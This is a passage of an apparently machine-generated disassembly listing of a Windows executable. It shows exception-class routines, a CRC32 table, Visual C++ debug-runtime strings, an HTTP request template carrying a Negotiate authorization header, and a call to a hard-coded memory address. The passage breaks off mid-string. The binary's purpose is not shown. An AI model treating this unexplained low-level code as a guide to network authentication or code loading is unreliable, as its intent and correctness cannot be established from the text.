; DATA XREF: .XComp0:off_4400D0o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_43D9A0 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_43D865 mov ecx, [ebp+var_4] push ecx call sub_423AE0 add esp, 4 loc_43D865: ; CODE XREF: sub_43D840+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43D840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D870 proc near ; CODE XREF: sub_43D160+2Cp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov dword ptr [eax], offset off_4400D0 mov ecx, [ebp+arg_0] mov edx, [ecx] push edx call sub_41EBD0 add esp, 4 add eax, 1 push eax call sub_423B90 add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov [eax+4], ecx mov edx, [ebp+var_8] cmp dword ptr [edx+4], 0 jz short loc_43D8C6 mov eax, [ebp+arg_0] mov ecx, [eax] push ecx mov edx, [ebp+var_8] mov eax, [edx+4] push eax call sub_422580 add esp, 8 loc_43D8C6: ; CODE XREF: sub_43D870+3Fj mov ecx, [ebp+var_8] mov dword ptr [ecx+8], 1 mov eax, [ebp+var_8] mov esp, ebp pop ebp retn 4 sub_43D870 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D8E0 proc near ; CODE XREF: sub_43CFE0+23p ; .XComp0:0043D98Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov dword ptr [eax], offset off_4400D0 mov ecx, [ebp+var_8] mov edx, [ebp+arg_0] mov eax, [edx+8] mov [ecx+8], eax mov ecx, [ebp+var_8] cmp dword ptr [ecx+8], 0 jz short loc_43D94F mov edx, [ebp+arg_0] mov eax, [edx+4] push eax call sub_41EBD0 add esp, 4 add eax, 1 push eax call sub_423B90 add esp, 4 mov [ebp+var_4], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_4] mov [ecx+4], edx mov eax, [ebp+var_8] cmp dword ptr [eax+4], 0 jz short loc_43D94D mov ecx, [ebp+arg_0] mov edx, [ecx+4] push edx mov eax, [ebp+var_8] mov ecx, [eax+4] push ecx call sub_422580 add esp, 8 loc_43D94D: ; CODE XREF: sub_43D8E0+55j jmp short loc_43D95B ; --------------------------------------------------------------------------- loc_43D94F: ; CODE XREF: sub_43D8E0+25j mov edx, [ebp+var_8] mov eax, [ebp+arg_0] mov ecx, [eax+4] mov [edx+4], ecx loc_43D95B: ; CODE XREF: sub_43D8E0:loc_43D94Dj mov eax, [ebp+var_8] mov esp, ebp pop ebp retn 4 sub_43D8E0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] cmp eax, [ebp+8] jz short loc_43D993 mov ecx, [ebp-4] call sub_43D9A0 mov ecx, [ebp+8] push ecx mov ecx, [ebp-4] call sub_43D8E0 loc_43D993: ; CODE XREF: .XComp0:0043D97Dj mov eax, [ebp-4] mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D9A0 proc near ; CODE XREF: sub_43D0A0+41p ; sub_43D840+Ap ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], ecx mov eax, [ebp+var_8] mov dword ptr [eax], offset off_4400D0 mov ecx, [ebp+var_8] cmp dword ptr [ecx+8], 0 jz short loc_43D9D0 mov edx, [ebp+var_8] mov eax, [edx+4] mov [ebp+var_4], eax mov ecx, [ebp+var_4] push ecx call sub_423AE0 add esp, 4 loc_43D9D0: ; CODE XREF: sub_43D9A0+19j mov esp, ebp pop ebp retn sub_43D9A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43D9E0 proc near ; DATA XREF: .XComp0:004400D4o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax+4], 0 jz short loc_43D9F8 mov ecx, [ebp+var_4] mov eax, [ecx+4] jmp short loc_43D9FD ; --------------------------------------------------------------------------- loc_43D9F8: ; CODE XREF: sub_43D9E0+Ej mov eax, offset aUnknownExcepti ; "Unknown exception" loc_43D9FD: ; CODE XREF: sub_43D9E0+16j mov esp, ebp pop ebp retn sub_43D9E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DA10 proc near ; CODE XREF: sub_43DA50+Ap var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] mov dword ptr [eax], offset off_4400F0 push 1Bh call sub_425990 add esp, 4 mov ecx, [ebp+var_4] cmp dword ptr [ecx+4], 0 jz short loc_43DA42 mov edx, [ebp+var_4] mov eax, [edx+4] push eax call sub_4263E0 add esp, 4 loc_43DA42: ; CODE XREF: sub_43DA10+21j push 1Bh call sub_425A30 add esp, 4 mov esp, ebp pop ebp retn sub_43DA10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DA50 proc near ; DATA XREF: .XComp0:off_4400F0o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov ecx, [ebp+var_4] call sub_43DA10 mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_43DA75 mov ecx, [ebp+var_4] push ecx call sub_423AE0 add esp, 4 loc_43DA75: ; CODE XREF: sub_43DA50+17j mov eax, [ebp+var_4] mov esp, ebp pop ebp retn 4 sub_43DA50 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 9 push eax mov ecx, [ebp+8] add ecx, 9 push ecx call sub_422740 add esp, 8 neg eax sbb eax, eax inc eax mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 9 push eax mov ecx, [ebp+8] add ecx, 9 push ecx call sub_422740 add esp, 8 neg eax sbb eax, eax neg eax mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 9 push eax mov ecx, [ebp+8] add ecx, 9 push ecx call sub_422740 add esp, 8 xor edx, edx test eax, eax setnle dl mov eax, edx mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] add eax, 8 mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] mov dword ptr [eax], offset off_4400F0 mov eax, [ebp-4] mov esp, ebp pop ebp retn 4 ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov [ebp-4], ecx mov eax, [ebp-4] mov esp, ebp pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43DB60 proc near ; CODE XREF: sub_43CF80+48p ; sub_43D070+1Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push esi push edi mov ecx, 8 mov esi, offset dword_4400F8 lea edi, [ebp+var_20] rep movsd mov eax, [ebp+arg_0] mov [ebp+var_8], eax mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx lea edx, [ebp+var_C] push edx mov eax, [ebp+var_10] push eax mov ecx, [ebp+var_1C] push ecx mov edx, [ebp+var_20] push edx nop call near ptr 29B0000h pop edi pop esi mov esp, ebp pop ebp retn 8 sub_43DB60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_43DBB0 proc near ; DATA XREF: .XComp0:004402C4o lea ecx, [ebp-20h] call sub_4107DD retn sub_43DBB0 endp ; --------------------------------------------------------------------------- mov eax, [ebp-3Ch] and eax, 1 test eax, eax jz locret_43DBCF mov ecx, [ebp+8] call sub_4107DD locret_43DBCF: ; CODE XREF: .XComp0:0043DBC1j retn ; --------------------------------------------------------------------------- loc_43DBD0: ; DATA XREF: sub_4101EBo mov eax, offset dword_440298 jmp sub_423380 ; --------------------------------------------------------------------------- lea ecx, [ebp+14h] call sub_4107DD retn ; --------------------------------------------------------------------------- loc_43DBE3: ; DATA XREF: .XComp0:004402F4o lea ecx, [ebp-24h] call sub_4107DD retn ; --------------------------------------------------------------------------- loc_43DBEC: ; DATA XREF: sub_4103B1o mov eax, offset dword_4402C8 jmp sub_423380 ; --------------------------------------------------------------------------- align 4 loc_43DBF8: ; DATA XREF: sub_410E33o mov eax, offset dword_4402F8 jmp sub_423380 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-38h] call sub_4107DD retn ; =============== S U B R O U T I N E ======================================= SEH_43CF80 proc near ; DATA XREF: sub_43CF80+5o mov eax, offset dword_4403D0 jmp sub_423380 SEH_43CF80 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] call sub_43D9A0 retn ; =============== S U B R O U T I N E ======================================= SEH_43CFE0 proc near ; DATA XREF: sub_43CFE0+5o mov eax, offset dword_4403F8 jmp sub_423380 SEH_43CFE0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] call sub_43D9A0 retn ; =============== S U B R O U T I N E ======================================= SEH_43D0A0 proc near ; DATA XREF: sub_43D0A0+5o mov eax, offset dword_440440 jmp sub_423380 SEH_43D0A0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-14h] call sub_43D9A0 retn ; =============== S U B R O U T I N E ======================================= SEH_43D160 proc near ; DATA XREF: sub_43D160+5o mov eax, offset dword_440468 jmp sub_423380 SEH_43D160 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-38h] call sub_4107DD retn ; =============== S U B R O U T I N E ======================================= SEH_43D280 proc near ; DATA XREF: sub_43D280+5o mov eax, offset dword_4404D0 jmp sub_423380 SEH_43D280 endp ; --------------------------------------------------------------------------- align 4 dd 0D8h dup(0) dd 47F172F9h, 0 dd 2, 68h, 0 dd 57E00h dword_43E01C dd 0 dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_4103B1+8Eo db 'Host: %s',0Dh,0Ah db 'Authorization: Negotiate %s',0Dh,0Ah db 0Dh,0Ah,0 align 4 dbl_43E458 dq 7.2e1 ; DATA XREF: sub_41017F+41r dbl_43E460 dq 6.0 ; DATA XREF: sub_41017F+16r ; sub_4101EB+82r dbl_43E468 dq 8.0 ; DATA XREF: sub_4101EB+7Cr dword_43E470 dd 0FFFFFFFFh ; sub_41081E+Br ... dword_43E474 dd 2 dup(0) dd 40900000h dbl_43E480 dq 3.2768e4 ; DATA XREF: sub_41AE1B+30r dword_43E488 dd 6F6C6366h, 632E6573h, 0 ; sub_41ECE0+25o dword_43E494 dd 65727473h, 21206D61h, 554E203Dh, 4C4Ch ; sub_423CE0+Do ... dword_43E4A4 dd 20727473h, 4E203D21h, 4C4C55h, 65696C43h, 746Eh, 6F6E6749h ; DATA XREF: sub_41ECE0+1Co ; sub_421F80+15o ... dd 6572h, 545243h, 6D726F4Eh, 6C61h aFree db 'Free',0 ; DATA XREF: .XComp0:off_44FEF0o align 8 dword_43E4D8 dd 0FFFFFFFFh, 0 dd offset sub_41EE7D aErrorMemoryAll db 'Error: memory allocation: bad memory block type.',0Ah,0 ; DATA XREF: sub_41EEE0:loc_41F04Ao ; sub_41F350:loc_41F4D0o align 4 aInvalidAllocat db 'Invalid allocation size: %u bytes.',0Ah,0 ; DATA XREF: sub_41EEE0+11Bo aS_26 db '%s',0 ; DATA XREF: sub_41EEE0+BCo ; sub_41EEE0+16Fo ... align 10h aClientHookAl_0 db 'Client hook allocation failure.',0Ah,0 ; DATA XREF: sub_41EEE0:loc_41EF97o align 4 aClientHookAllo db 'Client hook allocation failure at file %hs line %d.',0Ah,0 ; DATA XREF: sub_41EEE0+94o align 4 aDbgheap_c db 'dbgheap.c',0 ; DATA XREF: sub_41EEE0+31o ; sub_41F350+77o ... align 4 a_crtcheckmemor db '_CrtCheckMemory()',0 ; DATA XREF: sub_41EEE0+25o ; sub_41F350+6Bo ... align 10h dword_43E5C0 dd 0FFFFFFFFh, 0 dd offset sub_41F323 a_pfirstblockPo db '_pFirstBlock == pOldBlock',0 ; DATA XREF: sub_41F350+499o align 4 a_plastblockPol db '_pLastBlock == pOldBlock',0 ; DATA XREF: sub_41F350+445o align 4 aFreallocFreall db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0 ; DATA XREF: sub_41F350:loc_41F736o align 4 a_block_typePol db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0 ; DATA XREF: sub_41F350+277o align 4 aPoldblockNline db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_' ; DATA XREF: sub_41F350:loc_41F561o db 'REQ',0 align 4 a_crtisvalidhea db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: sub_41F350+1B6o ; sub_41F9E0+A8o ... align 10h aAllocationTooL db 'Allocation too large or negative: %u bytes.',0Ah,0 ; DATA XREF: sub_41F350+136o align 10h aClientHookRe_0 db 'Client hook re-allocation failure.',0Ah,0 ; DATA XREF: sub_41F350:loc_41F44Fo aClientHookReAl db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0 ; DATA XREF: sub_41F350+DCo align 10h dword_43E770 dd 0FFFFFFFFh, 0 dd offset sub_41F903 align 10h dword_43E780 dd 0FFFFFFFFh, 0; --------------------------------------------------------------------------- retn 41F9h ; --------------------------------------------------------------------------- align 4 a_pfirstblockPh db '_pFirstBlock == pHead',0 ; DATA XREF: sub_41F9E0+35Do align 4 a_plastblockPhe db '_pLastBlock == pHead',0 ; DATA XREF: sub_41F9E0+307o align 4 aPheadNblockuse db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_41F9E0+29Co ; sub_41FDF0+133o align 4 aPheadNlineIgno db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0 ; DATA XREF: sub_41F9E0:loc_41FC04o align 4 aDamageAfterHsB db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0 ; DATA XREF: sub_41F9E0+1E5o ; sub_420130+265o align 4 aDamageBeforeHs db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0 ; DATA XREF: sub_41F9E0+17Fo ; sub_420130+208o align 4 a_block_type_is db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_41F9E0+10Ao ; sub_41FDF0+E2o ... align 4 aClientHookFree db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_41F9E0:loc_41FA4Do align 4 dword_43E8B8 dd 0FFFFFFFFh, 0 dd offset sub_41FF61 align 8 dword_43E8C8 dd 0FFFFFFFFh, 0 dd offset sub_42005D aMemoryCheckErr db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0 ; DATA XREF: sub_4200A0+54o align 10h aHsLocatedAt0x0 db '%hs located at 0x%08X is %u bytes long.',0Ah,0 ; DATA XREF: sub_420130+33Ao align 4 aHsAllocatedAtF db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_420130+307o aDamageOnTopOfF db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0 ; DATA XREF: sub_420130+2BEo align 4 aDamaged db 'DAMAGED',0 ; DATA XREF: sub_420130:loc_420304o a_heapchkFail_3 db '_heapchk fails with unknown return value!',0Ah,0 ; DATA XREF: sub_420130:loc_42025Co align 4 a_heapchkFail_2 db '_heapchk fails with _HEAPBADPTR.',0Ah,0 ; DATA XREF: sub_420130:loc_420234o align 10h a_heapchkFail_1 db '_heapchk fails with _HEAPBADEND.',0Ah,0 ; DATA XREF: sub_420130:loc_42020Co align 4 a_heapchkFail_0 db '_heapchk fails with _HEAPBADNODE.',0Ah,0 ; DATA XREF: sub_420130:loc_4201E4o align 4 a_heapchkFailsW db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0 ; DATA XREF: sub_420130:loc_4201B9o align 10h dword_43EA50 dd 0FFFFFFFFh, 0 dd offset sub_4204A5 align 10h dword_43EA60 dd 0FFFFFFFFh, 0 dd offset sub_42059D align 10h dword_43EA70 dd 0FFFFFFFFh, 0 dd offset sub_420846 aBadMemoryBlock db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_420890+13Co align 10h a_crtmemcheckpo db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0 ; DATA XREF: sub_420890:loc_4208B9o dword_43EAC8 dd 0FFFFFFFFh, 0 dd offset sub_420A18 a_crtmemdiffere db '_CrtMemDifference: NULL state pointer.',0Ah,0 ; DATA XREF: .XComp0:loc_420A62o aObjectDumpComp db 'Object dump complete.',0Ah,0 ; DATA XREF: sub_420B70:loc_420E2Co align 4 aCrtBlockAt0x08 db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0 ; DATA XREF: sub_420B70+271o align 4 aNormalBlockAt0 db 'normal block at 0x%08X, %u bytes long.',0Ah,0 ; DATA XREF: sub_420B70+214o aClientBlockAt0 db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0 ; DATA XREF: sub_420B70+1A9o aLd db '{%ld} ',0 ; DATA XREF: sub_420B70+15Ao align 4 aHsD db '%hs(%d) : ',0 ; DATA XREF: sub_420B70+132o align 4 aFileErrorD db '#File Error#(%d) : ',0 ; DATA XREF: sub_420B70+101o aDumpingObjects db 'Dumping objects ->',0Ah,0 ; DATA XREF: sub_420B70:loc_420BABo dword_43EBE0 dd 0FFFFFFFFh, 0 dd offset sub_420E21 aDataSS db ' Data: <%s> %s',0Ah,0 ; DATA XREF: sub_420E70+ECo a_2x db '%.2X ',0 ; DATA XREF: sub_420E70+BFo align 4 aDetectedMemory db 'Detected memory leaks!',0Ah,0 ; DATA XREF: sub_420F90:loc_420FC4o aTotalAllocatio db 'Total allocations: %ld bytes.',0Ah,0 ; DATA XREF: .XComp0:004210ADo align 4 aLargestNumberU db 'Largest number used: %ld bytes.',0Ah,0 ; DATA XREF: .XComp0:00421085o align 10h aLdBytesInLdHsB db '%ld bytes in %ld %hs Blocks.',0Ah,0 ; DATA XREF: .XComp0:0042105Bo align 10h aMode_t0 db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_4212F0+95o align 4 aModeNull db 'mode != NULL',0 ; DATA XREF: sub_4212F0+67o ; sub_429EE0+4Fo align 4 aFile_t0 db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: sub_4212F0+3Do align 4 aFopen_c db 'fopen.c',0 ; DATA XREF: sub_4212F0+18o ; sub_4212F0+46o ... aFileNull db 'file != NULL',0 ; DATA XREF: sub_4212F0+Fo align 10h aFormatNull db 'format != NULL',0 ; DATA XREF: sub_4219C0+45o ; sub_421B90+45o ... align 10h aSprintf_c db 'sprintf.c',0 ; DATA XREF: sub_4219C0+24o ; sub_4219C0+4Eo ... align 4 aStringNull db 'string != NULL',0 ; DATA XREF: sub_4219C0+1Bo ; sub_421B90+1Bo ... align 4 aFprintf_c db 'fprintf.c',0 ; DATA XREF: sub_421F80+1Eo ; sub_421F80+48o align 4 aFgets_c db 'fgets.c',0 ; DATA XREF: sub_4223D0+24o ; sub_4223D0+4Eo aVsprintf_c db 'vsprintf.c',0 ; DATA XREF: sub_422920+1Eo ; sub_422920+48o align 4 aSscanf_c db 'sscanf.c',0 ; DATA XREF: sub_422E90+24o ; sub_422E90+4Eo align 4 dbl_43ED28 dq 1.0 ; DATA XREF: sub_422F50+99r ; sub_423170+99r ... dword_43ED30 dd 64676264h, 632E6C65h, 7070hdword_43ED3C dd 78656E6Fh, 632E7469h, 0 ; sub_423C90+8o dword_43ED48 dd 65657366h, 632E6Bh ; sub_423D50+19o dword_43ED50 dd 7473626Dh, 7363776Fh, 632Ehdword_43ED5C dd 3D212073h, 4C554E20h, 4Ch, 0FFFFFFFFh, 424942h, 42495Dh ; DATA XREF: sub_424620+29o dword_43ED74 dd 6C69665Fh, 632E65h, 65737341h, 6F697472h, 6146206Eh ; DATA XREF: sub_4249E0+31o ; sub_4249E0+65o ... dd 64656C69h, 0 aError db 'Error',0 ; DATA XREF: .XComp0:004501E8o align 4 aWarning db 'Warning',0 ; DATA XREF: .XComp0:off_4501E4o aSDS db '%s(%d) : %s',0 ; DATA XREF: sub_424D20+1FFo asc_43EDAC: ; DATA XREF: sub_424D20:loc_424EF6o dw 0Ah unicode 0, <>,0 asc_43EDB0: ; DATA XREF: sub_424D20+1C2o dw 0Dh unicode 0, <>,0 aAssertionFai_0 db 'Assertion failed!',0 ; DATA XREF: sub_424D20:loc_424E95o align 4 aAssertionFaile db 'Assertion failed: ',0 ; DATA XREF: sub_424D20+169o align 4 a_crtdbgreportS db '_CrtDbgReport: String too long or IO Error',0 ; DATA XREF: sub_424D20+149o ; sub_424D20+21Co ... align 4 aSecondChanceAs db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0 ; DATA XREF: sub_424D20+E6o align 4 aWsprintfa db 'wsprintfA',0 ; DATA XREF: sub_424D20+B6o align 4 aUser32_dll_0 db 'user32.dll',0 ; DATA XREF: sub_424D20+9Co ; sub_433100+16o align 4 aMicrosoftVisua db 'Microsoft Visual C++ Debug Library',0 ; DATA XREF: sub_4250B0+2C2o align 4 aDebugSProgramS db 'Debug %s!',0Ah ; DATA XREF: sub_4250B0+28Co db 0Ah db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah db 0Ah db '(Press Retry to debug the application)',0 align 4 aModule db 0Ah ; DATA XREF: sub_4250B0+221o db 'Module: ',0 align 4 aFile db 0Ah ; DATA XREF: sub_4250B0+1E1o db 'File: ',0 aLine db 0Ah ; DATA XREF: sub_4250B0+1AAo db 'Line: ',0 asc_43EEE8 db 0Ah ; DATA XREF: sub_4250B0+173o ; sub_432590+171o db 0Ah,0 align 4 aExpression db 'Expression: ',0 ; DATA XREF: sub_4250B0+153o align 4 dword_43EEFC dd 0 ; sub_4250B0:loc_4251E9o ... aForInformation db 0Ah ; DATA XREF: sub_4250B0+10Eo db 0Ah db 'For information on how your program can cause an assertion',0Ah db 'failure, see the Visual C++ documentation on asserts.',0 align 4 a___ db '...',0 ; DATA XREF: sub_4250B0+9Co ; sub_4250B0+F4o ... aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: sub_4250B0+56o ; sub_432590+EDo align 10h aDbgrpt_c db 'dbgrpt.c',0 ; DATA XREF: sub_4250B0+1Fo align 4 aSzusermessageN db 'szUserMessage != NULL',0 ; DATA XREF: sub_4250B0+13o align 4 a_freebuf_c db '_freebuf.c',0 ; DATA XREF: sub_4254F0+15o align 10h aMlock_c db 'mlock.c',0 ; DATA XREF: sub_425990+16o dword_43EFC8 dd 0FFFFFFFFh, 0 dd offset sub_425C35 dd 0FFFFFFFFh, 0 dd offset sub_425CB7 dword_43EFE0 dd 0FFFFFFFFh, 0 dd offset sub_425DD1 dd 0FFFFFFFFh, 0 ; --------------------------------------------------------------------------- retf 425Eh ; --------------------------------------------------------------------------- align 4 dword_43EFF8 dd 0FFFFFFFFh, 0 dd offset sub_426108 dd 0FFFFFFFFh, 0 dd offset sub_42631F dword_43F010 dd 0FFFFFFFFh, 0 dd offset sub_42645B dd 0FFFFFFFFh, 0 dd offset sub_4264DD dword_43F028 dd 0FFFFFFFFh, 0 dd offset sub_426592 dd 0FFFFFFFFh, 0 dd offset sub_4265D7 a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_4293A0+B9o align 4 a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_4293A0+5Ao align 10h a_filbuf_c db '_filbuf.c',0 ; DATA XREF: sub_429810+18o align 4 a_open_c db '_open.c',0 ; DATA XREF: sub_429EE0+2Eo ; sub_429EE0+58o ... aFilenameNull db 'filename != NULL',0 ; DATA XREF: sub_429EE0+25o align 4 aStream_c db 'stream.c',0 ; DATA XREF: sub_42A270+C1o align 4 aInconsistentIo db '("inconsistent IOB fields", 